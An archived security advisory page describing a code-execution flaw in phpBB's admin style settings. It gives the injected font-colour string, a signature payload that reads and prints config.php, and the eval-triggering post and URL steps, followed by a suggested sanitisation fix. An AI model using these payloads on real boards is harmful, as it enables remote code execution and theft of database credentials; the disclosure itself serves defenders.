TUCoPS :: Web BBS :: Frequently Exploited :: b06-1615.htm

phpBB Admin command execution
phpBB Admin command execution
phpBB Admin command execution



On a phpBB board, a user having access to the admin panel is able to execute PHP code:

This example will execute $user_sig as PHP code:

Go to Administration Panel > Styles Admin > Management > subSilver > Edit
Set "Font Colour 3" to "'./*"
Profile
Set Signature to "$fd=fopen($phpbb_root_path.'config.php','rb');while(!feof($fd)){echo htmlspecialchars(fgets($fd));}"
Post a new message with content: "*/var_dump(eval($user_sig)).flush().die().'" and attach your signature
Go to your message adding ?highlight=1 to URL
Your signature is executed as PHP code

Possible solution:

Replace $theme['fontcolor3']
By preg_replace('#[^a-f0-9]+#i','',$theme['fontcolor3']);
In viewtopic.php

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH